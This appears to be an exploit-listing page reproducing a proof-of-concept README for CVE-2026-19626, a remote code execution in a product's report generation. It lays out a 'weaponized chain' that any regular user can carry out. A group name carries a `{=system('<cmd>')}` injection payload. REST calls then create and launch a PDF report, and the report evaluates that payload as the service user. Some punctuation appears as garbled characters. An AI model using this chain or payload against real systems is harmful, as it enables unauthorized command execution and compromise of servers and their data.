## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H00DIE-POC-CVE-2026-19626

# CVE-2026-19626 β RCE in report generation (authenticated, non-admin)
**Status: CONFIRMED β pure-REMOTE, non-admin, REST-only** (6.7.2-14.el9 lab, 2026-08-21).
The weaponized chain (this is what poc.py does):
1. login as any regular org user
2. `POST /rest/group` with `name: "{=system('<cmd>')}"` β braces/quotes accepted verbatim (the group controller has no charset check)
3. `POST /rest/reportDefinition` β PDF report, one pieChart component, `user/sumgroup` query, `labelColumns: groupID`
4. `POST /rest/reportDefinition/{id}/launch`
5. At render, `substituteParams()` substitutes the placeholder with the group name BEFORE the eval loop runs β the payload lands inside the format string and fires as tns